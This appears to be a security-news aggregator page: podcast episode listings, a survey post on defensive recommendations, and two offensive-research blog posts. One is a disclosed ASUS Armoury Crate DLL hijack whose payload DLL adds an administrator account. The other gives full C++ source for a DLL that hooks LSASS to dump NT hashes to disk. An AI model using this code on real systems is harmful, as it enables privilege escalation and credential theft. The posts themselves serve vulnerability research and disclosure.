🔒
There are new articles available, click to refresh the page.
✇ Infosec Resources

How to learn web application security | Cyber Work Podcast

By: Infosec

On today’s podcast, Infosec Skills author Ted Harrington talks about authoring a recent Infosec Skills learning path, “How To Do Application Security Right,” which is also the subtitle of his recent book, “Hackable: How To Do Application Security Right.” Harrington shares his application security expertise, or AppSec, the benefits of skills-based learning, and what it was like to hack the iPhone. 

– Join the monthly challenge: https://www.infosecinstitute.com/challenge  
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
3:00 - Hacking the iPhone 
8:30 - IOT security 
14:00 - “Hackable” book 
17:14 - Using the book as a roadmap
18:42 - Most important skills right now
21:45 - Taking Harrington’s class
24:40 - Demystifying application security
26:48 - Career opportunities
28:26 - Roadblocks in application security
30:55 - Education tips for application security
33:40 - Benefits of skills-based education
37:21 - The skills gap and hiring process
41:19 - Tips for lifelong learners
43:43 - Harrington’s next projects
44:33 - Cybersecurity’s education’s future
45:38 - Connect with Harrington 
46:50 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

How to become a secure coder | Cyber Work Podcast

By: Infosec

On today’s podcast Infosec Skills author Chrys Thorsen talks about founding IT Without Borders, a humanitarian organization built to empower underserved communities through capacity building information and communications technology (ICT) skills and information access. She’s also a consultant and educator. And, for our purpose, she is the author of several learning paths on our Infosec Skills platform. She has written course paths for Writing Secure Code in Android and Writing Secure Code in iOS, as well as a forthcoming CertNexus Cyber Secure Coder path.

– Join the monthly challenge: https://www.infosecinstitute.com/challenge 
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro
2:43 - Thorsen’s origin story in cybersecurity 
4:53 - Gaining about 40 certifications
6:20 - Cross certification knowledge
7:25 - Great certification combos 
8:45 - How useful are certifications?
11:12 - Collecting certifications
13:01 - Changing training landscape
14:20 - How teaching changed
16:36 - In-demand cybersecurity skills
17:48 - What is secure coding?
19:34 - Secure coders versus coders 
20:31 - Secure coding in iOS versus Android 
22:39 - CertNexus secure coder certification
24:13 - Secure coding before coding 
24:42 - Secure coding curriculum 
26:27 - Recommended studies post secure coding
26:50 - Benefits to skills-based education
27:43 - Tips for lifelong learning
29:29 - Cybersecurity education’s future 
30:54 - IT Without Borders
33:38 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Sec Team Blog

Internal security recommendations survey

By: Alain Mowat

During the first wave of Covid and most people locked up at home, I wanted to engage with my colleagues in various departments here at SCRT by having them answer a simple survey. The survey related to what actions they would recommend and prioritize in order to secure the information system of a random company, which had just received notification that a cyberattack was imminent.

The survey

Everybody was asked to provide up to 10 recommendations and my initial goal was to see whether there was a consensus between our different teams. For example, I wanted to make sure that our sales team would provide similar answers to our engineering teams.

In any case, I wanted to keep the answers as open as possible, which made it a little harder to parse the results, since some of my colleagues gave some very creative answers. One such example were the recommendations of writing a book on how to obtain a magical budget, followed by a sequel on how to spend that budget with SCRT. Needless to say, this was a bit of an outlier, but for other cases, I attempted to group similar answers into categories. For example, the two following recommendations “Install a good anti-virus solution on workstations” and “Setup EDR agents on all workstations and servers with machine learning capabilities such as Cortex XDR Pro” were eventually summarised as “EDR/AV”.

I had to make some choices as to what would be grouped together. I decided EDR and AV solutions could be considered as a similar recommendations, while I decided that “Updates” and “Vulnerability management” were going to remain separate. A number of answers were grouped into “Network isolation” which also explains some of the results I’ll give below.
After categorizing each one of the recommendations, I then attributed a weight from 1 to 10 to each of them depending on the priority given by the person.

Results

Without any further ado, here are the most frequently recommended actions (with their cumulated weight) out of the 33 colleagues who responded to my survey:

  1. Network isolation (173)
  2. Security patching (107)
  3. Configurations hardening (100)
  4. Limit external exposure (97)
  5. SIEM/SOC (95)
  6. Awareness training (95)
  7. Audit (89)
  8. Multi-factor authentication (87)
  9. Privileged access management (82)
  10. Backups (49)
  11. EDR/AV (45)
  12. LAPS (41)
  13. Robust password policy (40)
  14. DMZ (37)
  15. WAF (37)
    […]
  16. Contact SCRT 😉 (22 points)

If we ignore the weights and just count the number of times each recommendation is given, we obtain the following results.

  1. Network isolation (25)
  2. SIEM/SOC (22)
  3. Audit (22)
  4. Security patching (20)
  5. Configurations hardening (20)
  6. Awareness training (15)
  7. Privileged access management (14)
  8. Multi-factor authentication (14)
  9. Limit external exposure (11)
  10. EDR/AV (9)
  11. Robust password policy (8)
  12. LAPS (7)
  13. Backups (7)
  14. Bitlocker (6)
  15. Physical access (5)
    […]
  16. Contact SCRT 😉 (4)

Discussion

The differences are interesting to look at as they mean for example that most people recommended implementing a SIEM/SOC and performing an audit, but these were not considered as priorities.

I think it is important here to stress that when we mention “network isolation”, it goes beyond simple network segmentation. We are not talking about ensuring you have different VLANs for different types of systems, but actively enforcing appropriate firewalls between VLANs and within the same VLAN. It is this active firewalling which can prevent the exploitation of vulnerabilities in the first place and reduce the possibilities of lateral movement. While micro-segmentation and Zero Trust are valuable objectives, in the mean time, properly configuring the current firewalls has to be a priority.

When analysing the responses on a department level, it was interesting to see that our support team tends to recommend contacting SCRT and our analytics team recommends implementing a SIEM/SOC. Our pentesting team does not necessarily recommend performing an audit as a top priority, probably because we already anticipate what the findings are likely to be, which kind of skews the results. For our sales team though, performing an audit received the highest priority.

Wrapping things up

Based on the answers, I drew up a mindmap of actions that could be taken to improve the security of an information system. It contains more details than what is summarised in this blog post and the actions have been grouped by the following objectives:

  • Prevent the initial intrusion
  • Detect the intrusion
  • Limit its propagation
  • Protect/preserve sensitive data
  • Manage risk

There is already quite a bit of information in here, though there is even more which is still missing, but it does give an overview of the higher priority aspects, which can be worked on to generally improve the security posture of a company.

✇ Infosec Resources

Learning Linux is key to building your cybersecurity skills | Cyber Work Podcast

By: Infosec

On today’s podcast Jasmine Jackson takes us through how you can get noticed on your resume, how Linux basics can set you up for learning other aspects of cybersecurity, and how capture the flag activities are crucial to enriching your work skills. Jackson has over 10 years of information security experience and shares her passion for cybersecurity by presenting and teaching workshops, including new courses now available in Infosec Skills. She is currently the Jeopardy-style capture the flag (CTF) coach for the inaugural U.S. Cyber Games and works as a senior application security engineer for a Fortune 500 company. 

– Join the monthly challenge: https://www.infosecinstitute.com/challenge
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro
3:08 - Jasmine Jackson’s origin story
4:25 - Winning a computer
6:22 - Jackson’s career path
13:46 - Thoughts on certifications 
19:10 - Ideal job description 
21:01 - Most important cybersecurity skills 
22:54 - Linux fundamentals class
25:07 - What does knowing Linux do for you?
26:35 - How to build upon a Linux foundation
28:51 - Benefits to skills training
29:50 - Tips for lifelong learning
31:30 - Coaching in the U.S. Cyber Games
34:26 - How are team members chosen for the games?
37:47 - An intriguing CTF puzzle 
41:43 - Where is cybersecurity education heading?
43:36 - Learn more about Jackson
46:33 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

Cryptography, encryption and building a secure photo app | Cyber Work Podcast

By: Infosec

Today's guest is Alex Amiryan, a software developer with over 18 years of experience specializing in cybersecurity and cryptography. Alex is the creator of the popular SafeCamera app, which was the predecessor of Stingle Photos, an end-to-end encrypted, open-source gallery and sync app able to prevent theft by breach. How does it work, and how did Alex come by his obsession for cryptography? Tune in and find out!

– Join the monthly challenge: https://www.infosecinstitute.com/challenge
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
1:41 - Origin story in cybersecurity
3:38 - Running afoul of the law
4:44 - Beginning your own company
7:10 - Advice on starting a business
9:15 - What is Stingle Photos? 
12:30 - End-to-end encryption
15:20 - Black box storage
17:47 - Encryption safety
19:01 - Preventing photo theft
22:20 - Working in encryption and cryptography
24:24 - Skills needed for encryption and cryptography
26:43 - An "aha" moment 
28:00 - Cryptographer job market 
29:45 - Next steps in cryptography
35:52 - Learn more about Stingle Photos
36:28 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

Saving McDonald’s from a possible data breach | Cyber Work Podcast

By: Infosec

This week we chat with Connor Greig of CreatorSphere (creatorsphere.co) about beginning a career in IT at age 17 when he joined Hewlett Packard as an applications engineer, but after just a few weeks was promoted to project manager. He went on to work on secure projects for the British government and was a project manager for secure cloud computing and software development modernization during the WannaCry, Spectre and Meltdown vulnerabilities that were found.

– Join the monthly challenge: https://www.infosecinstitute.com/challenge
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
3:00 - Origin story
4:58 - Getting into IT
8:53 - Being scouted by HP at 17
11:34 - What did HP see in you?
15:42 - Working with the British government
17:49 - Being fast on your feet
19:51 - Area of specialty 
21:30 - Balancing work and management
25:25 - Saving McDonald's from a data breach
31:58 - McDonald's reaction 
38:56 - Starting your own company
45:25 - Advice for starting your own company
49:15 - How to learn new concepts and skills
53:15 - What's it like being a gay man in cybersecurity?
55:30 - Making cybersecurity more welcoming 
58:15 - Cybersecurity career advice
1:00:33 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ APT::WTF - APTortellini’s blog

Stealing weapons from the Armoury

By: ["last"]

armoury pwnd

TL;DR

ASUS ROG Armoury Crate ships with a service called Armoury Crate Lite Service which suffers from a phantom DLL hijacking vulnerability that allows a low privilege user to execute code in the context other users, administrators included. To trigger the vulnerability, an administrator must log in after the attacker has placed the malicious DLL at the path C:\ProgramData\ASUS\GamingCenterLib\.DLL. The issue has been fixed with the release of Armoury Crate Lite Service 4.2.10.

Introduction

Greetings fellow hackers, last here! Recently I’ve been looking for vulnerabilities here and there - too much free time maybe? Specifically, I focused on hunting for DLL hijackings in privileged processes, as they usually lead to a local privilege escalation. A DLL hijacking revolves around forcing a process to run an attacker controlled DLL instead of the legitimate DLL the process is trying to load, nothing more. To make a process load your DLL you have to control the path from which said DLL is loaded. There are essentially two kinds of DLL hijackings: standard DLL hijackings and phantom DLL hijackings. The main difference is that in standard ones the legitimate DLL exists and is overwritten or proxied by the attacker’s DLL, while in phantom DLL hijackings the process tries to load a non existing DLL, hence the attacker can just drop its malicious DLL in the path and call it a day.

By messing up with Process Monitor I ended up finding a phantom DLL hijacking in ASUS ROG Armoury Crate, a software commonly installed in gaming PCs with a TUF/ROG motherboard to manage LEDs and fans.

such gaming much 0days gif

Last year I assembled a PC with an ASUS TUF motherboard, so I have this software installed. This kind of software is usually poorly designed from a security perspective - not shaming ASUS here, it’s just a matter of fact as gaming software is usually not designed with security in mind, it has to be flashy and eye-catching - so I ended up focusing my effort on this particular piece of software.

At login time, Armoury Crate’s own service, called Armoury Crate Lite Service, spawns a number of processes, the ones that caught my eyes though were ArmouryCrate.Service.exe and its child ArmouryCrate.UserSessionHelper.exe. As you can see in the next screenshot, the first runs as SYSTEM as it’s the process of the service itself, while the second runs at High integrity (i.e. elevated) if the current user is an administrator, or Medium integrity if the user is a low privilege one. Keep this in mind, we will come back to it later.

armourycrate arch

It’s hunting season

Now that we have laid down our targets, let’s look at how we are going to approach the research. The methodology we will use is the following:

  1. Look for CreateFile operations failing with a “NO SUCH FILE” or “PATH NOT FOUND” code;
  2. Inspect the operation to make sure it happens as a result of a call to a LoadLibrary-like function. CreateFile-like calls in Windows are not used only to create new files, but also to open existing ones;
  3. Make sure we can write to - or create the - path from which the DLL is loaded;
  4. Profit!

Hunting for this type of vulnerabilities is actually fairly easy and requires little effort. As I have explained in this Twitter thread, you just have to fire up Process Monitor with admin privileges, set some filters and then investigate the results. Let’s start from the filters: since we are focusing on phantom DLL hijackings, we want to see all the privileged processes failing to load a DLL with an error like “PATH NOT FOUND” or “NO SUCH FILE”. To do so go to the menu bar, Filter->Filter... and add the following filters:

  • Operation - is - CreateFile - Include
  • Result - contains - not found - Include
  • Result - contains - no such - Include
  • Path - ends with - .dll - Include
  • Integrity - is - System - Include
  • Integrity - is - High - Include

procmon filters

Once you have done that, go back to the menu bar, then Filter->Save Filter... so that we can load it later. As a lot SYSTEM and High integrity processes run as a result of a service running we now want to log the boot process of the computer and analyze it with Process Monitor. In order to do so head to the menu bar, then Options->Enable Boot Logging, leave everything as default and restart the computer. After logging back in, open Process Monitor once again, save the Bootlog.pml file and wait for Process Monitor to parse it. Once it’s finished doing its things, load the filter we prepared previously by clicking on Filter->Load Filter. Now we should see only potential phantom hijackings.

armoury missing DLL

In Armoury Crate’s case, you can see it tries to load C:\ProgramData\ASUS\GamingCenterLib\.DLL which is an interesting path because ACLs are not set automatically in subfolders of C:\ProgramData\, a thing that happens instead for subfolders of C:\Program Files\. This means there’s a high probability C:\ProgramData\ subfolders will be writable by unprivileged users.

To make sure the CreateFile operation we are looking at happens as a result of a LoadLibrary-like function we can open the event and navigate to the Stack tab to check the sequence of function calls which lead to the CreateFile operation. As you can see from the following screenshot, this is exactly the case as we have a call to LoadLibraryExW:

armoury crate loadlibrary

To inspect the ACL of the folder from which Armoury Crate tries to load the DLL we can use Powershell’s Get-Acl cmdlet this way:

Get-Acl 'C:\ProgramData\ASUS\GamingCenterLib' | Select-Object *

This command will return a SDDL string (which is essentially a one-to-one string representation of the graphical ACL we are used to see in Windows), which when parsed with ConvertFrom-SddlString tells us BUILTIN\Users have write access to the directory:

armoury acls

A more user friendly way of showing the effective access a user has on a particular resource is to open its properties, navigate to the Security tab, click on Advanced, switch to the Effective Access tab, select a user and then click on View effective access. The result of this operation is the effective access a user has to said resource, considering also the permissions it inherits from the groups he is part of.

armoury acls gui

Alright, now that we know we can write to C:\ProgramData\ASUS\GamingCenterLib we just have to compile a DLL named .DLL and drop it there. We will go with a simple DLL which will add a new user to the local administrators:

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    system("C:\\Windows\\System32\\cmd.exe /c \"net user aptortellini aptortellini /add\"");
    system("C:\\Windows\\System32\\cmd.exe /c \"net localgroup administrators aptortellini /add\"");
    return TRUE;
}

Now that we have everything ready we just have to wait for a privileged user to log in. This is needed as the DLL is loaded by ArmouryCrate.UserSessionHelper.exe which runs with the highest privileges available to the user to which the session belongs. As soon as the privileged user logs in, we have a new admin user, confirming administrator-level code execution.

Root cause analysis

Let’s now have a look at what caused this vulnerability. As you can see from the call stack shown in the screenshot in the beginning of this article, the DLL is loaded from code located inside GameBoxPlugin.dll, at offset QueryLibrary + 0x167d which is actually another function I renamed DllLoadLibraryImplement (by reversing GameBoxPlugin.dll with IDA Pro you can see most functions in this DLL have some sort of logging feature which references strings containing the possible name of the function). Here’s the code responsible for the call to LoadLibraryExW:

ida call

We have two culprits here:

  1. A DLL is loaded without any check. ASUS fixed this by implementing a cryptographic check on the DLLs loaded by this process to make sure they are signed by ASUS themselves;
  2. The ACL of C:\ProgramData\ASUS\GamingCenterLib\ are not properly set. ASUS has NOT fixed this, which means that, in the case a bypass is found for reason 1, the software would be vulnerable again as ArmouryCrate.UserSessionHelper.exe now looks for DLLs in that folder with a 6-character-long name (by searching them with the wildcard ??????.DLL as you can see with Procmon). If you use Armoury Crate I suggest hand-fixing the ACL of C:\ProgramData\ASUS\GamingCenterLib\ in order to give access to the whole directory tree only to members of the Administrators group.

Responsible disclosure timeline (YYYY/MM/DD)

  • 2021/09/06: vulnerability reported to ASUS via their web portal;
  • 2021/09/10: ASUS acknowledges the report and forwards it to their dev branch;
  • 2021/09/13: ASUS devs confirm the vulnerability and say it will be fixed in the next release, expected for week 39 of this year (27/09 - 01/10);
  • 2021/09/24: ASUS confirms the vulnerability has been fixed in version 4.2.10 of the service;
  • 2021/09/27: MITRE assigns CVE-2021-40981 to this vulnerability;

Kudos to ASUS for the quick response and professionalism in dealing with the problem! That’s all for today lads, last out!

✇ Infosec Resources

Inside the Security Yearbook: Industry trends, career advice and more! | Cyber Work Podcast

By: Infosec

Security Yearbook creator Richard Stiennon joins today’s podcast to share his career journey. He talks about creating the first ISP in the Midwest in the ‘90s, the role of the Security Yearbook in telling the history of cybersecurity and the best place to start your cybersecurity career. Hint: It’s not necessarily with the big firms!

– Save 50% on your copy of the Security Yearbook with code "infoseclive": https://it-harvest.com/shop
– Join the monthly challenge: https://www.infosecinstitute.com/challenge
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Infosec Skills Monthly Challenge
0:50 - Intro 
2:50 - How Richard got started in cybersecurity
7:22 - Penetration testing in the ‘90s
10:17 - Working as a research analyst
14:39 - How the cyberwar landscape is changing
19:33 - Skills needed as a cybersecurity researcher
20:30 - Launching the Security Yearbook
27:20 - Security Yearbook 2021 
29:00 - Importance of cybersecurity history
30:48 - How do cybersecurity investors see the industry
34:08 - Impact of COVID-19 and work from home
35:50 - Using the Security Yearbook to guide your career
40:38 - How cybersecurity careers are changing
43:29 - Current pentesting trends 
47:06 - First steps to becoming a research analyst
48:20 - Plans for Security Yearbook 2022
50:20 - Learn more about Richard Stiennon
51:09 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

Diversity, equity and inclusion in cybersecurity hiring | Cyber Work Live

By: Infosec

Cybersecurity hiring managers, and the entire cybersecurity industry, can benefit from recruiting across a wide range of backgrounds and cultures, yet many organizations still struggle with meaningfully implementing effective diversity, equity and inclusion (DEI) hiring processes.

Join a panel of past Cyber Work Podcast guests as they discuss these challenges, as well as the benefits of hiring diversely:
– Gene Yoo, CEO of Resecurity, and the expert brought in by Sony to triage the 2014 hack
– Mari Galloway, co-founder of Women’s Society of Cyberjutsu
– Victor “Vic” Malloy, General Manager, CyberTexas

This episode was recorded live on August 19, 2021. Want to join the next Cyber Work Live and get your career questions answered? See upcoming events here: https://www.infosecinstitute.com/events/

The topics covered include:
0:00 - Intro
1:20 - Meet the panel
3:28 - Diversity statistics in cybersecurity
4:30 - Gene on HR's diversity mindset
5:50 - Vic's experience being the "first"
10:00 - Mari's experience as a woman in cybersecurity
12:22 - Stereotypes for women in cybersecurity
15:40 - Misrepresenting the work of cybersecurity
17:30 - HR gatekeeping and bias
25:56- Protecting neurodivergent employees
31:15 - Hiring bias against ethnic names
37:57 - We didn't get any diverse applicants!
43:20 - Lack of developing new talent
46:48 - The skills gap is "nonsense"
49:41- Cracking the C-suite ceiling
53:56 - Visions for the future of cybersecurity
58:15 - Outro

– Join the Infosec Skills monthly challenge: https://www.infosecinstitute.com/challenge

– Download our developing security teams ebook: https://www.infosecinstitute.com/ebook

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ APT::WTF - APTortellini’s blog

Taking a detour inside LSASS

By: ["last"]

TL;DR

This is a repost of an analysis I posted on my Gitbook some time ago. Basically, when you authenticate as ANY local user on Windows, the NT hash of that user is checked against the NT hash of the supplied password by LSASS through the function MsvpPasswordValidate, exported by NtlmShared.dll. If you hook MsvpPasswordValidate you can extract this hash without touching the SAM. Of course, to hook this function in LSASS you need admin privilege. Technically it also works for domain users who have logged on the machine at least once, but the resulting hash is not a NT hash, but rather a MSCACHEv2 hash.

Introduction

Last August FuzzySec tweeted something interesting:

fuzzysec tweet

Since I had some spare time I decided to look into it and try and write my own local password dumping utility. But first, I had to confirm this information.

Confirming the information

To do so, I fired up a Windows 10 20H2 VM, set it up for kernel debugging and set a breakpoint into lsass.exe at the start of MsvpPasswordValidate (part of the NtlmShared.dll library) through WinDbg. But first you have to find LSASS’ _EPROCESS address using the following command:

!process 0 0 lsass.exe

process command

Once the _EPROCESS address is found we have to switch WinDbg’s context to the target process (your address will be different):

.process /i /p /r ffff8c05c70bc080

process command 2

Remember to use the g command right after the last command to make the switch actually happen. Now that we are in LSASS’ context we can load into the debugger the user mode symbols, since we are in kernel debugging, and then place a breakpoint at NtlmShared!MsvpPasswordValidate:

.reload /user
bp NtlmShared!MsvpPasswordValidate

We can make sure our breakpoint has been set by using the bl command:

bl command

Before we go on however we need to know what to look for. MsvpPasswordValidate is an undocumented function, meaning we won’t find it’s definition on MSDN. Looking here and there on the interwebz I managed to find it on multiple websites, so here it is:

BOOLEAN __stdcall MsvpPasswordValidate (
     BOOLEAN UasCompatibilityRequired,
     NETLOGON_LOGON_INFO_CLASS LogonLevel,
     PVOID LogonInformation,
     PUSER_INTERNAL1_INFORMATION Passwords,
     PULONG UserFlags,
     PUSER_SESSION_KEY UserSessionKey,
     PLM_SESSION_KEY LmSessionKey
);

What we are looking for is the fourth argument. The “Passwords” argument is of type PUSER_INTERNAL1_INFORMATION. This is a pointer to a SAMPR_USER_INTERNAL1_INFORMATION structure, whose first member is the NT hash we are looking for:

typedef struct _SAMPR_USER_INTERNAL1_INFORMATION {
   ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword;
   ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword;
   unsigned char NtPasswordPresent;
   unsigned char LmPasswordPresent;
   unsigned char PasswordExpired;
 } SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;

As MsvpPasswordValidate uses the stdcall calling convention, we know the Passwords argument will be stored into the R9 register, hence we can get to the actual structure by dereferencing the content of this register. With this piece of information we type g once more in our debugger and attempt a login through the runas command:

runas command

And right there our VM froze because we hit the breakpoint we previously set:

breakpoint hit

Now that our CPU is where we want it to be we can check the content of R9:

db @r9

db command

That definetely looks like a hash! We know our test user uses “antani” as password and its NT hash is 1AC1DBF66CA25FD4B5708E873E211F06, so the extracted value is the correct one.

Writing the DLL

Now that we have verified FuzzySec’s hint we can move on to write our own password dumping utility. We will write a custom DLL which will hook MsvpPasswordValidate, extract the hash and write it to disk. This DLL will be called HppDLL, since I will integrate it in a tool I already made (and which I will publish sooner or later) called HashPlusPlus (HPP for short). We will be using Microsoft Detours to perform the hooking action, better not to use manual hooking when dealing with critical processes like LSASS, as crashing will inevitably lead to a reboot. I won’t go into details on how to compile Detours and set it up, it’s pretty straightforward and I will include a compiled Detours library into HppDLL’s repository. The idea here is to have the DLL hijack the execution flow as soon as it reaches MsvpPasswordValidate, jump to a rogue routine which we will call HookMSVPPValidate and that will be responsible for extracting the credentials. Done that, HookMSVPPValidate will return to the legitimate MsvpPasswordValidate and continue the execution flow transparently for the calling process. Complex? Not so much actually.

Hppdll.h

We start off by writing the header all of the code pieces will include:

#pragma once
#define SECURITY_WIN32
#define WIN32_LEAN_AND_MEAN

// uncomment the following definition to enable debug logging to c:\debug.txt
#define DEBUG_BUILD

#include <windows.h>
#include <SubAuth.h>
#include <iostream>
#include <fstream>
#include <string>
#include "detours.h"

// if this is a debug build declare the PrintDebug() function
// and define the DEBUG macro in order to call it
// else make the DEBUG macro do nothing
#ifdef DEBUG_BUILD
void PrintDebug(std::string input);
#define DEBUG(x) PrintDebug(x)
#else
#define DEBUG(x) do {} while (0)
#endif

// namespace containing RAII types to make sure handles are always closed before detaching our DLL
namespace RAII
{
	class Library
	{
	public:
		Library(std::wstring input);
		~Library();
		HMODULE GetHandle();

	private:
		HMODULE _libraryHandle;
	};

	class Handle
	{
	public:
		Handle(HANDLE input);
		~Handle();
		HANDLE GetHandle();

	private:
		HANDLE _handle;
	};
}

//functions used to install and remove the hook
bool InstallHook();
bool RemoveHook();

// define the pMsvpPasswordValidate type to point to MsvpPasswordValidate
typedef BOOLEAN(WINAPI* pMsvpPasswordValidate)(BOOLEAN, NETLOGON_LOGON_INFO_CLASS, PVOID, void*, PULONG, PUSER_SESSION_KEY, PVOID);
extern pMsvpPasswordValidate MsvpPasswordValidate;

// define our hook function with the same parameters as the hooked function
// this allows us to directly access the hooked function parameters
BOOLEAN HookMSVPPValidate
(
	BOOLEAN UasCompatibilityRequired,
	NETLOGON_LOGON_INFO_CLASS LogonLevel,
	PVOID LogonInformation,
	void* Passwords,
	PULONG UserFlags,
	PUSER_SESSION_KEY UserSessionKey,
	PVOID LmSessionKey
);

This header includes various Windows headers that define the various native types used by MsvpPasswordValidate. You can see I had to slightly modify the MsvpPasswordValidate function definition since I could not find the headers defining PUSER_INTERNAL1_INFORMATION, hence we treat it like a normal void pointer. I also define two routines, InstallHook and RemoveHook, that will deal with injecting our hook and cleaning it up afterwards. I also declare a RAII namespace which will hold RAII classes to make sure handles to libraries and other stuff will be properly closed as soon as they go out of scope (yay C++). I also define a pMsvpPasswordValidate type which we will use in conjunction with GetProcAddress to properly resolve and then call MsvpPasswordValidate. Since the MsvpPasswordValidate pointer needs to be global we also extern it.

DllMain.cpp

The DllMain.cpp file holds the definition and declaration of the DllMain function, responsible for all the actions that will be taken when the DLL is loaded or unloaded:

#include "pch.h"
#include "hppdll.h"

pMsvpPasswordValidate MsvpPasswordValidate = nullptr;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        return InstallHook();
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        return RemoveHook();
    }
    return TRUE;
}

Top to bottom, we include pch.h to enable precompiled headers and speed up compilation, and hppdll.h to include all the types and functions we defined earlier. We also set to nullptr the MsvpPasswordValidate function pointer, which will be filled later by the InstallHook function with the address of the actual MsvpPasswordValidate. You can see that InstallHook gets called when the DLL is loaded and RemoveHook is called when the DLL is unloaded.

InstallHook.cpp

InstallHook is the function responsible for actually injecting our hook:

#include "pch.h"
#include "hppdll.h"

bool InstallHook()
{
	DEBUG("InstallHook called!");

	// get a handle on NtlmShared.dll
	RAII::Library ntlmShared(L"NtlmShared.dll");
	if (ntlmShared.GetHandle() == nullptr)
	{
		DEBUG("Couldn't get a handle to NtlmShared");
		return false;
	}

	// get MsvpPasswordValidate address
	MsvpPasswordValidate = (pMsvpPasswordValidate)::GetProcAddress(ntlmShared.GetHandle(), "MsvpPasswordValidate");
	if (MsvpPasswordValidate == nullptr)
	{
		DEBUG("Couldn't resolve the address of MsvpPasswordValidate");
		return false;
	}

	DetourTransactionBegin();
	DetourUpdateThread(::GetCurrentThread());
	DetourAttach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
	LONG error = DetourTransactionCommit();
	if (error != NO_ERROR)
	{
		DEBUG("Failed to hook MsvpPasswordValidate");
		return false;
	}
	else
	{
		DEBUG("Hook installed successfully");
		return true;
	}
}

It first gets a handle to the NtlmShared DLL at line 9. At line 17 the address to the beginning of MsvpPasswordValidate is resolved by using GetProcAddress, passing to it the handle to NtlmShared and a string containing the name of the function. At lines from 24 to 27 Detours does its magic and replaces MsvpPasswordValidate with our rogue HookMSVPPValidate function. If the hook is installed correctly, InstallHook returns true. You may have noticed I use the DEBUG macro to print debug information. This macro makes use of conditional compilation to write to C:\debug.txt if the DEBUG_BUILD macro is defined in hppdll.h, otherwise it does nothing.

HookMSVPPValidate.cpp

Here comes the most important piece of the DLL, the routine responsible for extracting the credentials from memory.

#include "pch.h"
#include "hppdll.h"

BOOLEAN HookMSVPPValidate(BOOLEAN UasCompatibilityRequired, NETLOGON_LOGON_INFO_CLASS LogonLevel, PVOID LogonInformation, void* Passwords, PULONG UserFlags, PUSER_SESSION_KEY UserSessionKey, PVOID LmSessionKey)
{
	DEBUG("Hook called!");
	// cast LogonInformation to NETLOGON_LOGON_IDENTITY_INFO pointer
	NETLOGON_LOGON_IDENTITY_INFO* logonIdentity = (NETLOGON_LOGON_IDENTITY_INFO*)LogonInformation;

	// write to C:\credentials.txt the domain, username and NT hash of the target user
	std::wofstream credentialFile;
	credentialFile.open("C:\\credentials.txt", std::fstream::in | std::fstream::out | std::fstream::app);
	credentialFile << L"Domain: " << logonIdentity->LogonDomainName.Buffer << std::endl;
	std::wstring username;
	
	// LogonIdentity->Username.Buffer contains more stuff than the username
	// so we only get the username by iterating on it only Length/2 times 
	// (Length is expressed in bytes, unicode strings take two bytes per character)
	for (int i = 0; i < logonIdentity->UserName.Length/2; i++)
	{
		username += logonIdentity->UserName.Buffer[i];
	}
	credentialFile << L"Username: " << username << std::endl;
	credentialFile << L"NTHash: ";
	for (int i = 0; i < 16; i++)
	{
		unsigned char hashByte = ((unsigned char*)Passwords)[i];
		credentialFile << std::hex << hashByte;
	}
	credentialFile << std::endl;
	credentialFile.close();

	DEBUG("Hook successfully called!");
	return MsvpPasswordValidate(UasCompatibilityRequired, LogonLevel, LogonInformation, Passwords, UserFlags, UserSessionKey, LmSessionKey);
}

